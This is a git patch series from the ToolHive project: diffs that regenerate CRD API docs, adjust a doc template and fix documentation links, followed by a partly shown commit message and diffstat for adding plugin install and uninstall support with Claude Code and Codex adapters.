| +#### api.v1beta1.RateLimitBucket + + + +RateLimitBucket defines a token bucket configuration with a maximum capacity +and a refill period. Used by both shared and per-user rate limits. + + + + + + + +#### api.v1beta1.RateLimitConfig + + + +RateLimitConfig defines rate limiting configuration for an MCP server. + + + @@ -3448,7 +4074,7 @@ _Appears in:_ #### api.v1beta1.SentinelServiceRef -_Underlying type:_ _[api.v1beta1.struct{Name string "json:\"name\""; Namespace string "json:\"namespace,omitempty\""; Port int32 "json:\"port,omitempty\""}](#apiv1beta1struct{name string "json:\"name\""; namespace string "json:\"namespace,omitempty\""; port int32 "json:\"port,omitempty\""})_ +_Underlying type:_ _struct{Name string "json:\"name\""; Namespace string "json:\"namespace,omitempty\""; Port int32 "json:\"port,omitempty\""}_ SentinelServiceRef references a Kubernetes Service for Sentinel discovery. @@ -3614,6 +4240,16 @@ _Appears in:_ | `annotations` _[api.v1beta1.ToolAnnotationsOverride](#apiv1beta1toolannotationsoverride)_ | Annotations overrides specific tool annotation fields.
Only specified fields are overridden; others pass through from the backend. | | Optional: \{\}
| +#### api.v1beta1.ToolRateLimitConfig + + + +ToolRateLimitConfig defines rate limits for a specific tool. + + + + + #### api.v1beta1.UpstreamInjectSpec @@ -3707,7 +4343,7 @@ _Appears in:_ #### api.v1beta1.UserInfoFieldMapping -_Underlying type:_ _[api.v1beta1.struct{SubjectFields []string "json:\"subjectFields,omitempty\""; NameFields []string "json:\"nameFields,omitempty\""; EmailFields []string "json:\"emailFields,omitempty\""}](#apiv1beta1struct{subjectfields []string "json:\"subjectfields,omitempty\""; namefields []string "json:\"namefields,omitempty\""; emailfields []string "json:\"emailfields,omitempty\""})_ +_Underlying type:_ _struct{SubjectFields []string "json:\"subjectFields,omitempty\""; NameFields []string "json:\"nameFields,omitempty\""; EmailFields []string "json:\"emailFields,omitempty\""}_ UserInfoFieldMapping maps provider-specific field names to standard UserInfo fields. This allows adapting non-standard provider responses to the canonical UserInfo structure. @@ -3808,7 +4444,7 @@ _Appears in:_ | --- | --- | --- | --- | | `name` _string_ | Name is the workflow name (unique identifier). | | | | `description` _string_ | Description describes what the workflow does. | | | -| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Optional: \{\}
| +| `parameters` _[pkg.json.Map](#pkgjsonmap)_ | Parameters defines input parameter schema in JSON Schema format.
Should be a JSON Schema object with "type": "object" and "properties".
Example:
\{
"type": "object",
"properties": \{
"param1": \{"type": "string", "default": "value"\},
"param2": \{"type": "integer"\}
\},
"required": ["param2"]
\}
We use json.Map rather than a typed struct because JSON Schema is highly
flexible with many optional fields (default, enum, minimum, maximum, pattern,
items, additionalProperties, oneOf, anyOf, allOf, etc.). Using json.Map
allows full JSON Schema compatibility without needing to define every possible
field, and matches how the MCP SDK handles inputSchema. | | Type: object
Optional: \{\}
| | `timeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | Timeout is the maximum workflow execution time. | | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
| | `steps` _[vmcp.config.WorkflowStepConfig](#vmcpconfigworkflowstepconfig) array_ | Steps are the workflow steps to execute. | | | | `output` _[vmcp.config.OutputConfig](#vmcpconfigoutputconfig)_ | Output defines the structured output schema for this workflow.
If not specified, the workflow returns the last step's output (backward compatible). | | Optional: \{\}
| @@ -4097,5 +4733,113 @@ _Appears in:_ | `scopes` _string array_ | Scopes are the requested scopes for the XAA exchange (Steps A and B). | | Optional: \{\}
| | `subjectProviderName` _string_ | SubjectProviderName selects which upstream provider's ID token to use.
When left empty and an embedded authorization server is configured,
the controller automatically populates this field with the first configured
upstream provider name. | | Optional: \{\}
| | `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token"
when empty. | | Enum: [urn:ietf:params:oauth:token-type:id_token]
Optional: \{\}
| + + + +## toolhive.stacklok.dev/vmcp + + + + + + + + + + + + + + + + + + +#### pkg.vmcp.ConflictResolutionStrategy + +_Underlying type:_ _string_ + +ConflictResolutionStrategy defines how to handle capability name conflicts. +Placed in vmcp root package to be shared by config and aggregator packages. + + + +_Appears in:_ +- [vmcp.config.AggregationConfig](#vmcpconfigaggregationconfig) + +| Field | Description | +| --- | --- | +| `prefix` | ConflictStrategyPrefix prefixes all tools with workload identifier.
| +| `priority` | ConflictStrategyPriority uses explicit priority ordering (first wins).
| +| `manual` | ConflictStrategyManual requires explicit overrides for all conflicts.
| + + + + + + + + +#### pkg.vmcp.DiscoveredBackend + + + +DiscoveredBackend represents a backend server discovered by vMCP runtime. +This type is shared with the Kubernetes operator CRD (VirtualMCPServer.Status.DiscoveredBackends). + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `name` _string_ | Name is the name of the backend MCPServer | | | +| `url` _string_ | URL is the URL of the backend MCPServer | | Optional: \{\}
| +| `status` _string_ | Status is the current status of the backend (ready, degraded, unavailable, unauthenticated, unknown).
Use BackendHealthStatus.ToCRDStatus() to populate this field. | | Optional: \{\}
| +| `authConfigRef` _string_ | AuthConfigRef is the name of the discovered MCPExternalAuthConfig (if any) | | Optional: \{\}
| +| `authType` _string_ | AuthType is the type of authentication configured | | Optional: \{\}
| +| `lastHealthCheck` _[Time](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#time-v1-meta)_ | LastHealthCheck is the timestamp of the last health check | | Optional: \{\}
| +| `message` _string_ | Message provides additional information about the backend status | | Optional: \{\}
| +| `circuitBreakerState` _string_ | CircuitBreakerState is the current circuit breaker state (closed, open, half-open).
Empty when circuit breaker is disabled or not configured. | | Enum: [closed open half-open]
Optional: \{\}
| +| `circuitLastChanged` _[Time](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#time-v1-meta)_ | CircuitLastChanged is the timestamp when the circuit breaker state last changed.
Empty when circuit breaker is disabled or has never changed state. | | Optional: \{\}
| +| `consecutiveFailures` _integer_ | ConsecutiveFailures is the current count of consecutive health check failures.
Resets to 0 when the backend becomes healthy again. | | Optional: \{\}
| + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/operator/templates/markdown/type.tpl b/docs/operator/templates/markdown/type.tpl index 3428b854a1..883c3a8ec6 100644 --- a/docs/operator/templates/markdown/type.tpl +++ b/docs/operator/templates/markdown/type.tpl @@ -41,11 +41,13 @@ {{- define "type" -}} {{- $type := . -}} -{{- if markdownShouldRenderType $type -}} {{- /* Filter: only render types with +gendoc marker OR in api/v1beta1 package */ -}} {{- $hasGendoc := index $type.Markers "gendoc" -}} {{- $isAPIType := hasSuffix "/api/v1beta1" $type.Package -}} - {{- if or $hasGendoc $isAPIType -}} + {{- /* Render if: explicitly +gendoc marked, OR (in api/v1beta1 AND should render), */ -}} + {{- /* OR a real K8s resource (has GVK) — so deprecated v1alpha1 resources listed */ -}} + {{- /* in "Resource Types" get headings their links resolve to. */ -}} + {{- if or $hasGendoc (and $isAPIType (markdownShouldRenderType $type)) $type.GVK -}} {{- /* Extract last two path segments from package for disambiguation */ -}} {{- $pkgParts := splitList "/" $type.Package -}} {{- $pkgLen := len $pkgParts -}} @@ -58,7 +60,7 @@ #### {{ $prefix }}.{{ $type.Name }} -{{ if $type.IsAlias }}_Underlying type:_ _{{ template "fieldType" $type.UnderlyingType }}_{{ end }} +{{ if $type.IsAlias }}_Underlying type:_ _{{ $type.UnderlyingType.Name }}_{{ end }} {{ $type.Doc }} @@ -117,6 +119,5 @@ _Appears in:_ {{ end -}} -{{- end -}}{{- /* end if or $hasGendoc $isAPIType */ -}} -{{- end -}} +{{- end -}}{{- /* end if or $hasGendoc (and $isAPIType ...) */ -}} {{- end -}} diff --git a/docs/operator/virtualmcpcompositetooldefinition-guide.md b/docs/operator/virtualmcpcompositetooldefinition-guide.md index 4c5e27cde8..14e47a4823 100644 --- a/docs/operator/virtualmcpcompositetooldefinition-guide.md +++ b/docs/operator/virtualmcpcompositetooldefinition-guide.md @@ -889,10 +889,10 @@ The following Phase 2 features are planned for future releases: ## API Reference -For complete API reference including all fields and validation rules, see the [CRD API documentation](./crd-api.md#virtualmcpcompositetooldefinition). +For complete API reference including all fields and validation rules, see the [CRD API documentation](./crd-api.md#apiv1beta1virtualmcpcompositetooldefinition). ## Related Resources -- [VirtualMCPServer Guide](./virtualmcpserver-guide.md) -- [Composite Tools Proposal](../proposals/THV-2106-virtual-mcp-server.md) -- [Operator Installation Guide](./installation.md) +- [VirtualMCPServer Kubernetes Guide](./virtualmcpserver-kubernetes-guide.md) +- [Composite Tools Proposal](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md) +- [Operator Upgrade Guide](./upgrade-guide/README.md) diff --git a/docs/operator/virtualmcpserver-api.md b/docs/operator/virtualmcpserver-api.md index 88dd752016..b9444cb9da 100644 --- a/docs/operator/virtualmcpserver-api.md +++ b/docs/operator/virtualmcpserver-api.md @@ -653,10 +653,10 @@ The VirtualMCPServer CRD includes comprehensive validation: ## Related Resources -- [MCPGroup](./mcpgroup-api.md): Defines groups of MCPServers -- [MCPServer](./mcpserver-api.md): Individual MCP server instances +- [MCPGroup](./crd-api.md#apiv1beta1mcpgroup): Defines groups of MCPServers +- [MCPServer](./crd-api.md#apiv1beta1mcpserver): Individual MCP server instances - [MCPOIDCConfig](../../examples/operator/mcp-servers/mcpserver_with_oidcconfig_ref.yaml): Shared OIDC provider configuration (referenced via `oidcConfigRef`) -- [MCPExternalAuthConfig](./mcpexternalauthconfig-api.md): External authentication configuration -- [MCPToolConfig](./toolconfig-api.md): Tool filtering and renaming configuration +- [MCPExternalAuthConfig](./crd-api.md#apiv1beta1mcpexternalauthconfig): External authentication configuration +- [MCPToolConfig](./crd-api.md#apiv1beta1mcptoolconfig): Tool filtering and renaming configuration - [Virtual MCP Server Observability](./virtualmcpserver-observability.md): Telemetry and metrics documentation -- [Virtual MCP Proposal](../proposals/THV-2106-virtual-mcp-server.md): Complete design proposal +- [Virtual MCP Proposal](https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md): Complete design proposal diff --git a/docs/operator/virtualmcpserver-kubernetes-guide.md b/docs/operator/virtualmcpserver-kubernetes-guide.md index e8943fd44f..0f43265c42 100644 --- a/docs/operator/virtualmcpserver-kubernetes-guide.md +++ b/docs/operator/virtualmcpserver-kubernetes-guide.md @@ -341,8 +341,8 @@ The preferred approach is to create a shared `MCPOIDCConfig` resource and refere See example configurations: - [mcpserver_with_oidcconfig_ref.yaml](../../examples/operator/mcp-servers/mcpserver_with_oidcconfig_ref.yaml) — Shared MCPOIDCConfig (preferred) -- [mcpserver_with_inline_oidc.yaml](../../examples/operator/mcp-servers/mcpserver_with_inline_oidc.yaml) — Inline OIDC (deprecated) -- [mcpserver_with_kubernetes_oidc.yaml](../../examples/operator/mcp-servers/mcpserver_with_kubernetes_oidc.yaml) — Kubernetes SA OIDC (deprecated inline variant) + +Inline OIDC and Kubernetes SA OIDC variants were deprecated and removed; use `MCPOIDCConfig` references instead. #### Scenario 3: Grouped Servers (CLI) → VirtualMCPServer (K8s) diff --git a/docs/remote-mcp-authentication.md b/docs/remote-mcp-authentication.md index f67a43f034..f044b81701 100644 --- a/docs/remote-mcp-authentication.md +++ b/docs/remote-mcp-authentication.md @@ -61,7 +61,7 @@ ToolHive implements BOTH discovery mechanisms required by the MCP specification: ## Authentication Flow ### Initial Detection -When ToolHive connects to a remote MCP server ([`pkg/runner/remote_auth.go:27-87`](../pkg/runner/remote_auth.go#L27)): +When ToolHive connects to a remote MCP server ([`pkg/auth/remote/handler.go`](../pkg/auth/remote/handler.go)): 1. Makes test request to the remote server (GET, then optionally POST) 2. Checks for 401 Unauthorized response with WWW-Authenticate header @@ -71,7 +71,7 @@ When ToolHive connects to a remote MCP server ([`pkg/runner/remote_auth.go:27-87 - Falls back to `{baseURL}/.well-known/oauth-protected-resource` (root-level) ### Discovery Priority Chain -ToolHive follows this priority order for discovering the OAuth issuer ([`pkg/runner/remote_auth.go:95-145`](../pkg/runner/remote_auth.go#L95)): +ToolHive follows this priority order for discovering the OAuth issuer ([`pkg/auth/remote/handler.go`](../pkg/auth/remote/handler.go)): **Phase 1: WWW-Authenticate Header Detection** 1. **Configured Issuer**: Uses `--remote-auth-issuer` flag if provided (highest priority) @@ -388,7 +388,7 @@ The `oauth_config` section supports: ### Key Components -1. **RemoteAuthHandler** ([`pkg/runner/remote_auth.go`](../pkg/runner/remote_auth.go)) +1. **RemoteAuthHandler** ([`pkg/auth/remote/handler.go`](../pkg/auth/remote/handler.go)) - Main entry point for remote authentication - Coordinates discovery and OAuth flow diff --git a/docs/runtime-version-customization.md b/docs/runtime-version-customization.md index 5fabc6683a..9ec8c1c236 100644 --- a/docs/runtime-version-customization.md +++ b/docs/runtime-version-customization.md @@ -194,4 +194,4 @@ thv run go://github.com/example/server \ ## See Also - [RunConfig Documentation](arch/05-runconfig-and-permissions.md) - Complete RunConfig reference -- [Protocol Schemes](../README.md#protocol-schemes) - Overview of uvx://, npx://, and go:// schemes +- [Protocol Schemes](arch/00-overview.md#protocol-builds) - Overview of uvx://, npx://, and go:// schemes diff --git a/examples/operator/embedding-servers/README.md b/examples/operator/embedding-servers/README.md index 7ccd9ade26..d2a754d44d 100644 --- a/examples/operator/embedding-servers/README.md +++ b/examples/operator/embedding-servers/README.md @@ -231,4 +231,4 @@ If pods are pending due to insufficient resources: - [HuggingFace Text Embeddings Inference](https://github.com/huggingface/text-embeddings-inference) - [ToolHive Documentation](https://docs.toolhive.dev) -- [MCPGroup Documentation](../virtual-mcps/README.md) +- [MCPGroup Documentation](../../../docs/operator/virtualmcpserver-kubernetes-guide.md) diff --git a/examples/vmcp-config.yaml b/examples/vmcp-config.yaml index 4975422ccd..7b02dea7b7 100644 --- a/examples/vmcp-config.yaml +++ b/examples/vmcp-config.yaml @@ -4,7 +4,7 @@ # The Virtual MCP Server aggregates multiple MCP server workloads from a ToolHive group # into a single unified MCP endpoint. # -# References: docs/proposals/THV-2106-virtual-mcp-server.md +# References: https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md # # Usage: # vmcp serve --config vmcp-config.yaml diff --git a/pkg/json/any.go b/pkg/json/any.go index 47a4dbb49e..da21aa6496 100644 --- a/pkg/json/any.go +++ b/pkg/json/any.go @@ -131,6 +131,7 @@ func (d *Data[T]) DeepCopy() *Data[T] { // Any is a type alias for Data[any], storing arbitrary JSON values. // This is the most flexible type, suitable when the JSON structure is unknown. // +// +gendoc // +kubebuilder:pruning:PreserveUnknownFields // +kubebuilder:validation:Type=object type Any = Data[any] @@ -138,6 +139,7 @@ type Any = Data[any] // Map is a type alias for Data[map[string]any], storing JSON objects. // Use this when you know the data will always be a JSON object (not array, string, etc.). // +// +gendoc // +kubebuilder:pruning:PreserveUnknownFields // +kubebuilder:validation:Type=object type Map = Data[map[string]any] diff --git a/pkg/json/doc.go b/pkg/json/doc.go new file mode 100644 index 0000000000..59611ad019 --- /dev/null +++ b/pkg/json/doc.go @@ -0,0 +1,8 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +// Package json provides JSON-related utilities for ToolHive. +// +// +groupName=toolhive.stacklok.dev +// +versionName=json +package json diff --git a/pkg/vmcp/config/config.go b/pkg/vmcp/config/config.go index 32e4b107e5..5667a966d3 100644 --- a/pkg/vmcp/config/config.go +++ b/pkg/vmcp/config/config.go @@ -42,6 +42,7 @@ var StaticModeAllowedTransports = []string{TransportSSE, TransportStreamableHTTP // Duration is a wrapper around time.Duration that marshals/unmarshals as a duration string. // This ensures duration values are serialized as "30s", "1m", etc. instead of nanosecond integers. +// +gendoc // +kubebuilder:validation:Type=string // +kubebuilder:validation:Pattern=`^([0-9]+(\.[0-9]+)?(ns|us|µs|ms|s|m|h))+$` type Duration time.Duration diff --git a/pkg/vmcp/doc.go b/pkg/vmcp/doc.go index 449f5a9213..146c27602f 100644 --- a/pkg/vmcp/doc.go +++ b/pkg/vmcp/doc.go @@ -7,6 +7,9 @@ // single unified interface. This package contains the core domain models and interfaces // that are platform-agnostic (work for both CLI and Kubernetes deployments). // +// +groupName=toolhive.stacklok.dev +// +versionName=vmcp +// // # Architecture // // The vmcp package follows Domain-Driven Design (DDD) principles with clear @@ -150,7 +153,7 @@ // // # Related Documentation // -// - Proposal: docs/proposals/THV-2106-virtual-mcp-server.md +// - Proposal: https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md // - GitHub Issues: #146-159 in stacklok/stacklok-epics // - MCP Specification: https://modelcontextprotocol.io/specification // diff --git a/pkg/vmcp/types.go b/pkg/vmcp/types.go index 4488f3cabf..9f60cfaa04 100644 --- a/pkg/vmcp/types.go +++ b/pkg/vmcp/types.go @@ -241,6 +241,7 @@ const ( // DiscoveredBackend represents a backend server discovered by vMCP runtime. // This type is shared with the Kubernetes operator CRD (VirtualMCPServer.Status.DiscoveredBackends). +// +gendoc type DiscoveredBackend struct { // Name is the name of the backend MCPServer Name string `json:"name"` @@ -610,6 +611,7 @@ type RoutingTable struct { // ConflictResolutionStrategy defines how to handle capability name conflicts. // Placed in vmcp root package to be shared by config and aggregator packages. +// +gendoc type ConflictResolutionStrategy string const ( From 01d4c9abbd57b52519fe327a42ab3504d222cd9c Mon Sep 17 00:00:00 2001 From: Juan Antonio Osorio Date: Fri, 3 Jul 2026 08:06:30 +0300 Subject: [PATCH 10/66] Add plugin install/list/info/uninstall + MaterializationAdapter (Phase 3, THV-0077) (#5685) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add plugin Phase 3 foundation: MaterializationAdapter, groups, client metadata (Wave 0, THV-0077) Stand up the Phase-3 plugin install/list/info/uninstall foundation that the later waves build on: - plugins.MaterializationAdapter interface (pkg/plugins/adapter.go) generalizes skills.PathResolver to multi-component plugins. Instead of resolving a single skill path, the adapter owns extraction + optional config mutation for a multi-component plugin tree, because the materialization strategy differs per client (Claude Code = pure filesystem; Codex = FS cache + TOML mutation). ComponentType enum mirrors ociplugins.ComponentInventory keys (commands/agents/skills/hooks/mcpServers/lspServers). - pluginsvc.service widens with store/groupManager/materializers/installer/ gitResolver/pluginLookup fields and matching With* options, plus a pluginLock (per-(scope,name,projectRoot) mutex mirroring skillsvc.skillLock). New() defaults installer and gitResolver. The PluginService interface itself is NOT widened yet (that is Wave 2, after the methods exist); New still returns the narrowed Phase-2 interface. - groups.Group gains a Plugins []string field, with AddPluginToGroup/ RemovePluginFromAllGroups (pkg/groups/plugins.go) ported line-for-line from the skills analogues. - client.clientAppConfig gains SupportsPlugins/PluginsGlobalPath/ PluginsProjectPath/PluginsPlatformPrefix, populated for Claude Code (~/.claude/plugins) and Codex (~/.codex/plugins/cache). ClientManager gains SupportsPlugins/ListPluginSupportingClients/GetPluginPath (pkg/client/plugins.go), ported from the skills helpers. DiscoveryStatus surfaces SupportsPlugins. - plugins.PluginInfo gains UnmaterializedComponents (per-client component types the adapter does not load) for the Phase-3 Info surface. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Add plugin install/list/info/uninstall, MaterializationAdapter implementations (Phase 3, THV-0077) Widen the plugin service from the Phase-2 build/validate/push/content surface to the full install/uninstall/list/info lifecycle, plus the per-client materialization seam: - plugins.MaterializationAdapter gains DegradesOnProjectScope so Info can surface which clients degrade a project-scope install without re-running Materialize. ClaudeCode reports false (supports both scopes); Codex reports true (registration always lands in the user-scoped config.toml). - adapters.ClaudeCodeAdapter: pure-filesystem extraction into ~/.claude/plugins// via the hardened skills.Installer (path-traversal/ symlink/oversize guards). No config mutation. Drops mcpServers/lspServers. - adapters.CodexAdapter: cache extraction under ~/.codex/plugins/cache// + config.toml [plugins.] table mutation. Reuses the shared TOML read/write helpers (exported as client.ReadTOMLConfig/WriteTOMLConfig) under fileutils.WithFileLock — no new TOML code. Drops commands/agents/lspServers. Dematerialize reverts its own [plugins.*] additions (and the empty table) while unrelated [mcp_servers.*]/[other] tables survive (exit-gate test). - pluginsvc.install.go dispatches by reference type (git → OCI → registry name), with the per-(scope,name,projectRoot) pluginLock and two-phase release. install_oci.go enforces the name==repo-last-component consistency check (422 on mismatch). install_git.go reuses gitresolver's skill-agnostic helpers (ParseGitReference/IsGitReference/ResolveAuth/WriteFiles) but clones + reads .claude-plugin/plugin.json directly, since gitresolver.Resolve is skill-specific. install_extraction.go is the shared materialize+persist core with rollback; list.go mirrors skillsvc; info.go surfaces UnmaterializedComponents (static diff) and ProjectScopeDegradedClients; uninstall.go dematerializes per-client then deletes the record. - plugins.PluginService widens with Install/Uninstall/List/Info; mocks regenerated. - Removed dead WithInstaller/WithGitResolver wiring: adapters own their skills.Installer, and install_git uses WithGitClient (test seam) + gitresolver.ResolveAuth directly, so the service-level fields were never read. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Add plugins system architecture doc (Phase 3, THV-0077) Document the plugins system mirroring docs/arch/12-skills-system.md: manifest format, OCI artifact layout, install dispatch (git/OCI/name), MaterializationAdapter seam (Claude Code pure-FS vs Codex FS+TOML), component inventory + dropped-component warnings, name/repo consistency check, extraction safety, and per-client scope degradation. Add entry #14 to the docs/arch index and mermaid graph. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Regenerate swagger for SupportsPlugins and Group.Plugins (Phase 3, THV-0077) The Wave 0 client/discovery and groups changes added SupportsPlugins to ClientAppStatus and Plugins to the group model, but the swagger spec wasn't regenerated. CI's Swagger verification check caught the drift. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Refactor adapter seam to DematerializeRequest and ScopeSupport Mirror MaterializeRequest with a DematerializeRequest struct so the two sides of the MaterializationAdapter interface stay symmetric — a future client needing more context to revert cleanly gets it without forcing an interface break. Replace DegradesOnProjectScope() bool with a ScopeSupport struct carrying DegradesOnProjectScope plus an optional Reason (not yet consumed by Info). Update both adapters, all callers, regenerate mocks, and fix tests. Resolves PR #5685 review comments on adapter symmetry and scope-support descriptor. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Mutate Claude Code settings.json and marketplace.json on install Claude Code does not auto-discover plugins from the filesystem alone; it requires an enabledPlugins entry plus an extraKnownMarketplaces registration in settings.json. The adapter now writes a per-plugin marketplace.json declaring the plugin under the toolhive marketplace with a local source, and patches settings.json (hujson, under WithFileLock + AtomicWriteFile 0600) to add the marketplace entry pointing at the shared plugins parent directory and enable the plugin as @toolhive. Dematerialize reverts both mutations and removes the marketplace entry when no toolhive plugins remain. Also extracts cleanupAfterRemove into helpers.go and adds HomeDir() to ClientManager. Resolves the Claude Code blocker from PR #5685 review. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Use Codex marketplace.json and enabled plugin table for install Codex does not read the invented [plugins.] table with a path key. Switch to the marketplace model: a shared ~/.agents/plugins/marketplace.json declares the toolhive marketplace with a local source pointing at the stable plugins cache parent directory, and ~/.codex/config.toml holds enable state as [plugins."@toolhive"] with enabled = true. Dematerialize removes the enable table and deletes the marketplace file when no toolhive plugins remain. The getPluginsMap helper now returns an error when the plugins key exists but is not a table, preventing silent clobbering of a malformed config. Resolves the Codex blocker from PR #5685 review. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Preserve exec bit, add git name check, dedup gitresolver The git install path forced every file to mode 0644, dropping the executable bit that hook scripts and entry points need. collectPluginFiles now calls f.Mode.ToOSFileMode() to carry the real git mode through, so a git-sourced plugin lands identically to the same plugin from OCI. A subdir-aware name-consistency check (manifest name must match gitRef.SkillName(), which returns the subdir last segment or repo last segment) closes the bare-repo squatting vector with the same 422 the OCI path returns. The duplicated ref-classification and auth-resolution helpers are removed from install_git.go in favor of the newly exported gitresolver.CloneConfigForRef, ClientForURL, and CloneTimeout. Resolves PR #5685 review comments on exec-bit, name consistency, and gitresolver dedup. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Wrap name validation as 400 and clean up service lock nolint ValidatePluginName errors in Info and Uninstall were returned without a status code, causing the transport layer to map a bad name to 500 instead of 400. Both now wrap with httperr.WithCode(err, http.StatusBadRequest), matching Install and skillsvc. The three stale //nolint:unused directives on pluginLock are dropped (the lock is actively used by install/uninstall flows) and the comment is reworded to describe it as live. Adds List 500-branch coverage, store/group error propagation tests, and the all+explicit client rejection test. Resolves PR #5685 review comments on status-code wrapping and stale nolint. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Fix exec bit preservation, Codex TOCTOU, and error inspection Add ExtractPlugin to the skills Installer interface using a 0755 permission mask (vs 0644 for skills) so plugin hook scripts keep their executable bit through extraction. Both adapters now call ExtractPlugin. The existing 0644 mask for skills is unchanged. Move the Codex hasToolhivePlugin check inside the removeCodexPlugin file lock to eliminate a TOCTOU race where concurrent dematerialize calls could read stale config state. removeCodexPlugin now returns whether toolhive plugins remain, computed atomically with the removal. Replace os.IsNotExist with errors.Is(err, os.ErrNotExist) in both adapters per go-style.md. Part of stacklok/toolhive#5525 Refs RFC stacklok/toolhive-rfcs#77 * Fix plugin marketplace manifests for real client load The Claude Code and Codex adapters wrote marketplace manifests the clients don't actually parse, so a plugin would install but never load. Both are corrected to the documented schemas. Claude Code: a single shared marketplace.json at the plugins root (/.claude-plugin/marketplace.json) with top-level name/owner and a plugins array (each source "./"), and an extraKnownMarketplaces entry using the "directory" source type (not "local"). Codex: extract into the cache layout Codex loads from (~/.codex/plugins/cache/toolhive//local), and a shared ~/.codex/plugins/marketplace.json with top-level name + a plugins array whose entries carry a local source.path relative to the marketplace root, plus policy and category. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_01CALHT5ES6M9BTqfBMQt1fJ * Rework Codex plugin adapter to file-only marketplace, no config writes Codex won't load a plugin from config.toml enable state alone: it discovers marketplaces at fixed paths and requires an explicit install. Pre-seeding the cache plus enabled=true skips the path Codex loads through, and ToolHive does not shell out to client binaries. Extract each plugin's source under the discoverable marketplace root (~/.agents/plugins/toolhive/, or the per-repo path for project scope) and maintain .agents/plugins/marketplace.json with a relative ./toolhive/ source. Drop all config.toml mutation. Document the one-time manual 'codex plugin install' step in the arch doc. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_01CALHT5ES6M9BTqfBMQt1fJ --------- Co-authored-by: Claude Opus 4.8 (1M context) --- docs/arch/14-plugins-system.md | 272 +++++++++ docs/arch/README.md | 10 + docs/server/docs.go | 11 + docs/server/swagger.json | 11 + docs/server/swagger.yaml | 9 + pkg/client/config.go | 25 +- pkg/client/discovery.go | 19 +- pkg/client/plugin_toml.go | 18 + pkg/client/plugins.go | 116 ++++ pkg/client/plugins_test.go | 194 +++++++ pkg/client/test_support.go | 13 + pkg/groups/group.go | 1 + pkg/groups/plugins.go | 59 ++ pkg/groups/plugins_test.go | 190 +++++++ pkg/plugins/adapter.go | 114 ++++ pkg/plugins/adapters/claudecode.go | 486 ++++++++++++++++ pkg/plugins/adapters/claudecode_test.go | 551 +++++++++++++++++++ pkg/plugins/adapters/codex.go | 301 ++++++++++ pkg/plugins/adapters/codex_test.go | 313 +++++++++++ pkg/plugins/adapters/helpers.go | 45 ++ pkg/plugins/mocks/mock_adapter.go | 99 ++++ pkg/plugins/mocks/mock_service.go | 59 ++ pkg/plugins/options.go | 24 + pkg/plugins/parser.go | 8 + pkg/plugins/pluginsvc/info.go | 95 ++++ pkg/plugins/pluginsvc/info_test.go | 236 ++++++++ pkg/plugins/pluginsvc/install.go | 188 +++++++ pkg/plugins/pluginsvc/install_extraction.go | 356 ++++++++++++ pkg/plugins/pluginsvc/install_git.go | 251 +++++++++ pkg/plugins/pluginsvc/install_git_test.go | 282 ++++++++++ pkg/plugins/pluginsvc/install_oci.go | 340 ++++++++++++ pkg/plugins/pluginsvc/install_oci_test.go | 309 +++++++++++ pkg/plugins/pluginsvc/install_test.go | 578 ++++++++++++++++++++ pkg/plugins/pluginsvc/list.go | 63 +++ pkg/plugins/pluginsvc/scope.go | 30 + pkg/plugins/pluginsvc/service.go | 164 +++++- pkg/plugins/pluginsvc/testhelpers_test.go | 63 +++ pkg/plugins/pluginsvc/testservice_test.go | 12 + pkg/plugins/pluginsvc/uninstall.go | 75 +++ pkg/plugins/pluginsvc/uninstall_test.go | 204 +++++++ pkg/plugins/service.go | 24 +- pkg/skills/gitresolver/resolver.go | 55 +- pkg/skills/installer.go | 76 ++- pkg/skills/mocks/mock_path_resolver.go | 15 + pkg/skills/types.go | 3 + 45 files changed, 6298 insertions(+), 69 deletions(-) create mode 100644 docs/arch/14-plugins-system.md create mode 100644 pkg/client/plugin_toml.go create mode 100644 pkg/client/plugins.go create mode 100644 pkg/client/plugins_test.go create mode 100644 pkg/groups/plugins.go create mode 100644 pkg/groups/plugins_test.go create mode 100644 pkg/plugins/adapter.go create mode 100644 pkg/plugins/adapters/claudecode.go create mode 100644 pkg/plugins/adapters/claudecode_test.go create mode 100644 pkg/plugins/adapters/codex.go create mode 100644 